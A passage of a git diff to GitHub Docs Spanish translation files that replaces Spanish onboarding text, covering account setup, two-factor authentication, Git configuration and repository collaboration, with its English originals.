recommending or requiring two-factor authentication for your organization members, configuring security features, and reviewing your organization's audit log and integrations. -### 1. Requerir autenticación bifactorial +### 1. Requiring two-factor authentication {% data reusables.getting-started.requiring-2fa %} -### 2. Configurar las características de seguridad de tu organización +### 2. Configuring security features for your organization {% data reusables.getting-started.configuring-security-features %} -### 3. Revisar las bitácoras de auditoría e integraciones de tu organización +### 3. Reviewing your organization's audit log and integrations {% data reusables.getting-started.reviewing-org-audit-log-and-integrations %} -## Parte 4: Configurar políticas a nivel organizacional -### 1. Administrar las políticas organizacionales +## Part 4: Setting organization level policies +### 1. Managing organization policies {% data reusables.getting-started.managing-org-policies %} -### 2. Administrar los cambios de repositorio +### 2. Managing repository changes {% data reusables.getting-started.managing-repo-changes %} -### 3. Utilizar archivos de salud comunitaria y herramientas de moderación a nivel organizacional +### 3. Using organization-level community health files and moderation tools {% data reusables.getting-started.using-org-community-files-and-moderation-tools %} -## Parte 5: Personalizar y automatizar tu trabajo en {% data variables.product.product_name %} +## Part 5: Customizing and automating your work on {% data variables.product.product_name %} {% data reusables.getting-started.customizing-and-automating %} -### 1. Uso de {% data variables.product.prodname_marketplace %} +### 1. Using {% data variables.product.prodname_marketplace %} {% data reusables.getting-started.marketplace %} ### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API {% data reusables.getting-started.api %} -### 3. Crear {% data variables.product.prodname_actions %} +### 3. Building {% data variables.product.prodname_actions %} {% data reusables.getting-started.actions %} -### 4. Publicar y administrar el {% data variables.product.prodname_registry %} +### 4. Publishing and managing {% data variables.product.prodname_registry %} {% data reusables.getting-started.packages %} -## Parte 6: Participar en la comunidad de {% data variables.product.prodname_dotcom %} +## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community {% data reusables.getting-started.participating-in-community %} -### 1. Contribuir con proyectos de código abierto +### 1. Contributing to open source projects {% data reusables.getting-started.open-source-projects %} -### 2. Interactuar con el {% data variables.product.prodname_gcf %} +### 2. Interacting with the {% data variables.product.prodname_gcf %} {% data reusables.support.ask-and-answer-forum %} -### 3. Aprender con {% data variables.product.prodname_learning %} +### 3. Learning with {% data variables.product.prodname_learning %} {% data reusables.getting-started.learning-lab %} -### 4. Apoyar a la comunidad de código abierto +### 4. Supporting the open source community {% data reusables.getting-started.sponsors %} -### 5. Comunicarse con {% data variables.contact.github_support %} +### 5. Contacting {% data variables.contact.github_support %} {% data reusables.getting-started.contact-support %} -## Leer más +## Further reading -- "[Iniciar con tu cuenta de GitHub](/get-started/onboarding/getting-started-with-your-github-account)" +- "[Getting started with your GitHub account](/get-started/onboarding/getting-started-with-your-github-account)" diff --git a/translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md b/translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md index 8f76142cb1..8c5c1036a1 100644 --- a/translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md +++ b/translations/es-ES/content/get-started/onboarding/getting-started-with-your-github-account.md @@ -1,6 +1,6 @@ --- -title: Iniciar con tu cuenta de GitHub -intro: 'Con una cuenta de usuario en {% data variables.product.prodname_dotcom %}, puedes importar o crear repositorios, colaborar con otros y conectarte con la comunidad de {% data variables.product.prodname_dotcom %}.' +title: Getting started with your GitHub account +intro: 'With a user account on {% data variables.product.prodname_dotcom %}, you can import or create repositories, collaborate with others, and connect with the {% data variables.product.prodname_dotcom %} community.' versions: fpt: '*' ghes: '*' @@ -8,192 +8,192 @@ versions: ghec: '*' --- -Esta guía te mostrará cómo configurar tu cuenta de {% data variables.product.company_short %} y cómo iniciar con las características de colaboración y comunitarias de {% data variables.product.product_name %}. +This guide will walk you through setting up your {% data variables.product.company_short %} account and getting started with {% data variables.product.product_name %}'s features for collaboration and community. -## Parte 1: Configurar tu cuenta de {% data variables.product.prodname_dotcom %} +## Part 1: Configuring your {% data variables.product.prodname_dotcom %} account {% ifversion fpt or ghec %} -Los primeros pasos para iniciar con {% data variables.product.product_name %} son crear una cuenta, elegir un producto que se acople a tus necesidades, verificar tu correo electrónico, configurar la autenticación bifactorial y ver tu perfil. +The first steps in starting with {% data variables.product.product_name %} are to create an account, choose a product that fits your needs best, verify your email, set up two-factor authentication, and view your profile. {% elsif ghes %} -Los primeros pasos para comenzar con {% data variables.product.product_name %} son acceder a tu cuenta, configurar la autenticación bifactorial y ver tu perfil. +The first steps in starting with {% data variables.product.product_name %} are to access your account, set up two-factor authentication, and view your profile. {% elsif ghae %} -Los primeros pasos para comenzar con {% data variables.product.product_name %} son acceder a tu cuenta y ver tu perfil. +The first steps in starting with {% data variables.product.product_name %} are to access your account and view your profile. {% endif %} -{% ifversion fpt or ghec %}Hay varios tipos de cuentas en {% data variables.product.prodname_dotcom %}. {% endif %} Todo aquél que utilice {% data variables.product.product_name %} tiene su propia cuenta, la cual puede ser parte de varias organizaciones y equipos. Tu cuenta de usuario es tu identidad en {% data variables.product.product_location %} y te representa como individuo. +{% ifversion fpt or ghec %}There are several types of accounts on {% data variables.product.prodname_dotcom %}. {% endif %} Every person who uses {% data variables.product.product_name %} has their own user account, which can be part of multiple organizations and teams. Your user account is your identity on {% data variables.product.product_location %} and represents you as an individual. {% ifversion fpt or ghec %} -### 1. Crear una cuenta +### 1. Creating an account To sign up for an account on {% data variables.product.product_location %}, navigate to https://github.com/ and follow the prompts. -Para mantener tu cuenta de {% data variables.product.prodname_dotcom %} protegida, debes utilizar una contraseña fuerte y única. Para obtener más información, consulta la sección "[Crear una contraseña fuerte](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)". +To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)." -### 2. Elegir tu producto de {% data variables.product.prodname_dotcom %} -Puedes elegir {% data variables.product.prodname_free_user %} o {% data variables.product.prodname_pro %} para obtener acceso a diversas características de tu cuenta personal. Puedes mejorarlas en cualquier momento si no estás seguro de qué producto quieres inicialmente. +### 2. Choosing your {% data variables.product.prodname_dotcom %} product +You can choose {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} to get access to different features for your personal account. You can upgrade at any time if you are unsure at first which product you want. -Para obtener más información sobre todos los planes de {% data variables.product.prodname_dotcom %}, consulta la sección [ productos de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/githubs-products)". +For more information on all of {% data variables.product.prodname_dotcom %}'s plans, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)." -### 3. Verificar tu dirección de correo electrónico -Para garantizar que puedes utilizar todas las características en tu plan de {% data variables.product.product_name %}, verifica tu dirección de correo electrónico después de registrarte para obtener una cuenta nueva. Para obtener más información, consulta "[Verificar tu dirección de correo electrónico](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)". +### 3. Verifying your email address +To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. For more information, see "[Verifying your email address](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)." {% endif %} {% ifversion ghes %} -### 1. Acceder a tu cuenta -El administrador de tu instancia de {% data variables.product.product_name %} te notificará sobre cómo autenticarte y acceder a tu cuenta. El proceso varía dependiendo del modo de autenticación que tienen configurado para la instancia. +### 1. Accessing your account +The administrator of your {% data variables.product.product_name %} instance will notify you about how to authenticate and access your account. The process varies depending on the authentication mode they have configured for the instance. {% endif %} {% ifversion ghae %} -### 1. Acceder a tu cuenta -Recibirás una notificación de correo electrónico una vez que tu propietario de empresa en {% data variables.product.product_name %} haya configurado tu cuenta, lo cual te permitirá autenticarte con el inicio de sesión único (SSO) de SAML y acceder a tu cuenta. +### 1. Accessing your account +You will receive an email notification once your enterprise owner for {% data variables.product.product_name %} has set up your account, allowing you to authenticate with SAML single sign-on (SSO) and access your account. {% endif %} {% ifversion fpt or ghes or ghec %} -### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configurar la autenticación bifactorial -La autenticación de dos factores, o 2FA, es una capa extra de seguridad que se usa cuando se inicia sesión en sitios web o aplicaciones. Insistimos en que configures la 2FA por seguridad de tu cuenta. Para obtener más información, consulta "[Acerca de la autenticación de dos factores](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)". +### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configuring two-factor authentication +Two-factor authentication, or 2FA, is an extra layer of security used when logging into websites or apps. We strongly urge you to configure 2FA for the safety of your account. For more information, see "[About two-factor authentication](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)." {% endif %} -### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Ver tu perfil de {% data variables.product.prodname_dotcom %} y gráfica de contribuciones -Tu perfil de {% data variables.product.prodname_dotcom %} les dice a las personas la historia de tu trabajo a través de los repositorios y gists que hayas fijado, las membrecías que hayas elegido publicitar, las contribuciones que hayas hecho y los proyectos que hayas creado. Para obtener más información, consulta las secciones "[Acerca de tu perfil](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" y "[Ver las contribuciones en tu perfil](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)". +### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Viewing your {% data variables.product.prodname_dotcom %} profile and contribution graph +Your {% data variables.product.prodname_dotcom %} profile tells people the story of your work through the repositories and gists you've pinned, the organization memberships you've chosen to publicize, the contributions you've made, and the projects you've created. For more information, see "[About your profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" and "[Viewing contributions on your profile](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)." -## Parte 2: Utilizar las herramientas y procesos de {% data variables.product.product_name %} -Para utilizar {% data variables.product.product_name %} de la mejor forma, necesitarás configurar Git. Git es responsable de todo lo relacionado con {% data variables.product.prodname_dotcom %} que suceda de forma local en tu computadora. Para colaborar de forma efectiva en {% data variables.product.product_name %}, necesitarás escribir en propuestas y solicitudes de cambio utilizando el Lenguaje de Marcado Enriquecido de {% data variables.product.prodname_dotcom %}. +## Part 2: Using {% data variables.product.product_name %}'s tools and processes +To best use {% data variables.product.product_name %}, you'll need to set up Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer. To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown. -### 1. Aprender a usar Git -El enfoque colaborativo de {% data variables.product.prodname_dotcom %} para el desarrollo depende de las confirmaciones de publicación desde tu repositorio local hacia {% data variables.product.product_name %} para que las vean, recuperen y actualicen otras personas utilizando Git. Para obtener más información sobre Git, consulta la guía del "[Manual de Git](https://guides.github.com/introduction/git-handbook/)". Para obtener más información sobre cómo se utiliza Git en {% data variables.product.product_name %}, consulta la sección "[flujo de {% data variables.product.prodname_dotcom %}](/get-started/quickstart/github-flow)". -### 2. Configurar Git -Si planeas utilizar Git localmente en tu computadora, ya sea a través de la línea de comandos, de un IDE o de un editor de texto, necesitarás instalar y configurar Git. Para obtener más información, consulta "[Configurar Git](/get-started/quickstart/set-up-git)." +### 1. Learning Git +{% data variables.product.prodname_dotcom %}'s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update using Git. For more information about Git, see the "[Git Handbook](https://guides.github.com/introduction/git-handbook/)" guide. For more information about how Git is used on {% data variables.product.product_name %}, see "[{% data variables.product.prodname_dotcom %} flow](/get-started/quickstart/github-flow)." +### 2. Setting up Git +If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. For more information, see "[Set up Git](/get-started/quickstart/set-up-git)." -Si prefieres utilizar una interfaz virtual, puedes descargar y utilziar {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} viene en un paquete con Git, así que no hay necesidad de instalar Git por separado. Para obtener más información, consulta "[Comenzar con {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)". +If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. For more information, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." -Una vez que instalaste Git, puedes conectarte a los repositorios de {% data variables.product.product_name %} desde tu computadora local, ya sea que se trate de tu propio repositorio o de la bifurcación del de otro usuario. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. Para obtener más información, consulta la sección "[Acerca de los repositorios remotos](/get-started/getting-started-with-git/about-remote-repositories)". +Once you install Git, you can connect to {% data variables.product.product_name %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. For more information, see "[About remote repositories](/get-started/getting-started-with-git/about-remote-repositories)." -### 3. Elegir cómo interactuar con {% data variables.product.product_name %} -Cada quién tiene su propio flujo de trabajo único para interactuar con {% data variables.product.prodname_dotcom %}; las interfaces y métodos que utilices dependen de tu preferencia y de lo que funcione mejor para cubrir tus necesidades. +### 3. Choosing how to interact with {% data variables.product.product_name %} +Everyone has their own unique workflow for interacting with {% data variables.product.prodname_dotcom %}; the interfaces and methods you use depend on your preference and what works best for your needs. -Para obtener más información sobre cómo autenticarte en {% data variables.product.product_name %} con cada uno de estos métodos, consulta la sección "[Sobre la autenticación en {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)". +For more information about how to authenticate to {% data variables.product.product_name %} with each of these methods, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)." -| **Método** | **Descripción** | **Casos de Uso** | -| ------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Navega a {% data variables.product.prodname_dotcom_the_website %} | Si no necesitas trabajar con archivos localmente, {% data variables.product.product_name %} te permite completar la mayoría de las acciones relacionadas con Git en el buscador, desde crear y bifurcar repositorios hasta editar archivos y abrir solicitudes de cambios. | Este método es útil si quieres tener una interfaz virtual y necesitas realizar cambios rápidos y simples que no requieran que trabajes localmente. | -| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} se extiende y simplifica tu flujo de trabajo {% data variables.product.prodname_dotcom_the_website %}, usando una interfaz visual en lugar de comandos de texto en la línea de comandos. Para obtener más información sobre cómo iniciar con {% data variables.product.prodname_desktop %}, consulta la sección "[Iniciar con {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)". | Este método es le mejor si necesitas o quieres trabajar con archivos localmente, pero prefieres utilizar una interfaz visual para utilizar Git e interactuar con {% data variables.product.product_name %}. | -| IDE o editor de texto | Puedes configurar un editor de texto predeterminado, como [Atom](https://atom.io/) o [Visual Studio Code](https://code.visualstudio.com/) para abrir y editar tus archivos con Git, utilizar extensiones y ver la estructura del proyecto. Para obtener más información, consulta la sección "[Asociar los editores de texto con Git](/github/using-git/associating-text-editors-with-git)". | Es conveniente si estás trabajando con archivos y proyectos más complejos y quieres todo en un solo lugar, ya que los editores o IDE a menudo te permiten acceder directamente a la línea de comandos en el editor. | -| Línea de comandos, con o sin {% data variables.product.prodname_cli %} | Para la mayoría de los controles granulares y personalización de cómo utilizas Git e interactúas con {% data variables.product.product_name %}, puedes utilizar la línea de comandos. Para obtener más información sobre cómo utilizar los comandos de Git, consulta la sección "[Hoja de comandos de Git](/github/getting-started-with-github/quickstart/git-cheatsheet)".

El {% data variables.product.prodname_cli %} es una herramienta de línea de comandos por separado que puedes instalar, la cual agrega solicitudes de cambio, propuestas, {% data variables.product.prodname_actions %} y otras características de {% data variables.product.prodname_dotcom %} a tu terminal para que puedas hacer todo tu trabajo desde un solo lugar. Para obtener más información, consulta la sección "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)". | Esto es lo más conveniente si ya estás trabajando desde la línea de comandos, lo cual te permite evitar cambiar de contexto o si estás más cómodo utilizando la línea de comandos. | -| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} Tiene una API de REST y una de GraphQL que puedes utilizar para interactuar con {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Comenzar con la API](/github/extending-github/getting-started-with-the-api)". | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. | -### 4. Escribir en {% data variables.product.product_name %} -Para que tus comunicaciones sean más claras y organizadas en propuestas y solicitudes de cambios, puedes utilizar el Lenguaje de Marcado Enriquecido de {% data variables.product.prodname_dotcom %} para formatearlas, el cual combina una sintaxis fácil de escribir y de leer con algunas funcionalidades personalizadas. Para obtener más información, consulta "[Acerca de la escritura y el formato en {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)." +| **Method** | **Description** | **Use cases** | +| ------------- | ------------- | ------------- | +| Browse to {% data variables.product.prodname_dotcom_the_website %} | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.| This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally. | +| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}. | +| IDE or text editor | You can set a default text editor, like [Atom](https://atom.io/) or [Visual Studio Code](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)." | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor. | +| Command line, with or without {% data variables.product.prodname_cli %} | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."

{% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line. | +| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)." | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. | +### 4. Writing on {% data variables.product.product_name %} +To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)." -Puedes aprender a utilizar el Lenguaje de Marcado Enriquecido de {% data variables.product.prodname_dotcom %} con el curso de [Comunícarse utilizando el Lenguaje de Marcado](https://lab.github.com/githubtraining/communicating-using-markdown)" que hay en {% data variables.product.prodname_learning %}. +You can learn {% data variables.product.prodname_dotcom %} Flavored Markdown with the "[Communicating using Markdown](https://lab.github.com/githubtraining/communicating-using-markdown)" course on {% data variables.product.prodname_learning %}. -### 5. Buscar en {% data variables.product.product_name %} -Nuestra búsqueda integrada te permite encontrar lo que estás buscando de entre los muchos repositorios, usuarios y líneas de código que hay en {% data variables.product.product_name %}. Puedes buscar globalmente a través de todo {% data variables.product.product_name %} o limitar tu búsqueda a un repositorio u organización en particular. Para obtener más información sobre los tipos de búsqueda que puedes hacer en {% data variables.product.product_name %}, consulta la sección "[Acerca de buscar en {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)". +### 5. Searching on {% data variables.product.product_name %} +Our integrated search allows you to find what you are looking for among the many repositories, users and lines of code on {% data variables.product.product_name %}. You can search globally across all of {% data variables.product.product_name %} or limit your search to a particular repository or organization. For more information about the types of searches you can do on {% data variables.product.product_name %}, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)." -Nuestra sintaxis de búsqueda te permite construir consultas utilizando calificadores para especificar lo que quieres buscar. Para obtener más información sobre la sintaxis de búsqueda a utilizar, consulta la sección "[Buscar en {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/searching-on-github)". +Our search syntax allows you to construct queries using qualifiers to specify what you want to search for. For more information on the search syntax to use in search, see "[Searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/searching-on-github)." -### 6. Administrar los archivos en {% data variables.product.product_name %} -Con {% data variables.product.product_name %}, puedes crear, editar, mover y borrar los archivos en tu repositorio o en cualquier repositorio en el que tengas acceso de escritura. También puedes rastrear el historial de cambios en un archivo, línea por línea. Para obtener más información, consulta la sección "[Administrar archivos en {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/managing-files-on-github)". +### 6. Managing files on {% data variables.product.product_name %} +With {% data variables.product.product_name %}, you can create, edit, move and delete files in your repository or any repository you have write access to. You can also track the history of changes in a file line by line. For more information, see "[Managing files on {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/managing-files-on-github)." -## Parte 3: Colaborar en {% data variables.product.product_name %} -Cualquier cantidad de personas pueden trabajar juntas en los repositorios a lo largo de {% data variables.product.product_name %}. Puedes configurar los ajustes, crear tableros de proyecto y administrar tus notificaciones para motivar una colaboración efectiva. +## Part 3: Collaborating on {% data variables.product.product_name %} +Any number of people can work together in repositories across {% data variables.product.product_name %}. You can configure settings, create project boards, and manage your notifications to encourage effective collaboration. -### 1. Trabajar con repositorios +### 1. Working with repositories -#### Crear un repositorio -Un repositorio es como una carpeta para tu proyecto. Puedes tener cualquier cantidad de repositorios públicos y privados en tu cuenta de usuario. Los repositorios pueden contener archivos y carpetas, imágenes, videos, hojas de cálculo y juegos de datos, así como el historial de revisión de todos los archivos en el repositorio. Para obtener más información, consulta la sección "[Acerca de los repositorios](/github/creating-cloning-and-archiving-repositories/about-repositories)". +#### Creating a repository +A repository is like a folder for your project. You can have any number of public and private repositories in your user account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/about-repositories)." -Cuando creas un repositorio nuevo, debes inicializarlo con un archivo README para que las personas sepan sobre tu proyecto. Para obtener más información, consulta la sección "[Crear un nuevo repositorio](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)." +When you create a new repository, you should initialize the repository with a README file to let people know about your project. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)." -#### Clonar un repositorio -Puedes clonar un repositorio existente desde {% data variables.product.product_name %} hacia tu computadora local, haciendo que sea más fácil el agregar o eliminar archivos, corregir conflictos de fusión o hacer confirmaciones complejas. Clonar un repositorio extrae una copia integral de todos los datos del mismo que {% data variables.product.prodname_dotcom %} tiene en ese momento, incluyendo todas las versiones para cada archivo y carpeta para el proyecto. Para obtener más información, consulta "[Clonar un repositorio](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)". +#### Cloning a repository +You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. Cloning a repository pulls down a full copy of all the repository data that {% data variables.product.prodname_dotcom %} has at that point in time, including all versions of every file and folder for the project. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)." -#### Bifurcar un repositorio -Una bifurcación es una copia de un repositorio que administres, en donde cualquier cambio que hagas no afectará el repositorio a menos de que emitas una solicitud de cambios del propietario del proyecto. Casi siempre las bifurcaciones se usan para proponer cambios al proyecto de otra persona o para usar el proyecto de otra persona como inicio de tu propia idea. Para obtener más información, consulta la sección "[Trabajar con las bifurcaciones](/github/collaborating-with-pull-requests/working-with-forks)". -### 2. Importar tus proyectos -Si tienes proyectos existentes que quisieras mover a {% data variables.product.product_name %}, puedes importarlos utilizando el importador de {% data variables.product.prodname_dotcom %}, la línea de comandos o herramientas de migración externas. Para obtener más información, consulta la sección, "[Importar el código fuente a {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)"- +#### Forking a repository +A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. For more information, see "[Working with forks](/github/collaborating-with-pull-requests/working-with-forks)." +### 2. Importing your projects +If you have existing projects you'd like to move over to {% data variables.product.product_name %} you can import projects using the {% data variables.product.prodname_dotcom %} Importer, the command line, or external migration tools. For more information, see "[Importing source code to {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)." -### 3. Administrar colaboradores y permisos -Puedes colaborar en tu proyecto con otros usando los tableros de proyecto, las solicitudes de extracción y las propuestas de tu repositorio. Puedes invitar a otras personas para que sean colaboradores en tu repositorio desde la pestaña de **Colaboradores** en los ajustes de repositorio. Para obtener más información, consulta la sección "[Invitar colaboradores a un repositorio personal](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)". +### 3. Managing collaborators and permissions +You can collaborate on your project with others using your repository's issues, pull requests, and project boards. You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)." -Eres el propietario de cualquier repositorio que crees en tu cuenta de usuario y tienes control total sobre este. Los colaboradores tiene acceso de escritura a tu repositorio, lo cual limita sus permisos. Para obtener más información, consulta "[Niveles de permiso para un repositorio de cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)". +You are the owner of any repository you create in your user account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. For more information, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)." -### 4. Administrar configuraciones de repositorios -Como propietario de un repositorio, puedes configurar varios ajustes, incluyendo la visibilidad del repositorio, los temas y la vista previa de redes sociales. Para obtener más información, consulta la sección "[Administrar la configuración de los repositorios](/github/administering-a-repository/managing-repository-settings)". +### 4. Managing repository settings +As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)." -### 5. Configurar tu proyecto para contribuciones saludables +### 5. Setting up your project for healthy contributions {% ifversion fpt or ghec %} -Para motivar a los colaboradores de tu repositorio, necesitarás una comunidad que motive a las personas para usar, contribuir a y evangelizar tu proyecto. Para obtener más información, consulta la sección "[Crear Comunidades Acogedoras](https://opensource.guide/building-community/)" en las Guías de Código Abierto. +To encourage collaborators in your repository, you need a community that encourages people to use, contribute to, and evangelize your project. For more information, see "[Building Welcoming Communities](https://opensource.guide/building-community/)" in the Open Source Guides. -Al agregar archivos como lineamientos de contribución, un código de conducta y una licencia para tu repositorio, puedes crear un ambiente en donde sea más fácil para los colaboradores realizar contribuciones significativas y útiles. Para encontrar más información, visita la sección "[ Configurar tu proyecto para tener contribuciones saludables](/communities/setting-up-your-project-for-healthy-contributions)." +By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." {% endif %} {% ifversion ghes or ghae %} -Al agregar archivos como lineamientos de contribución, un código de conducta y tener compatibilidad con los recursos para tu repositorio, puedes crear un ambiente en donde sea más fácil para los colaboradores realizar contribuciones significativas y útiles. Para encontrar más información, visita la sección "[ Configurar tu proyecto para tener contribuciones saludables](/communities/setting-up-your-project-for-healthy-contributions)." +By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy 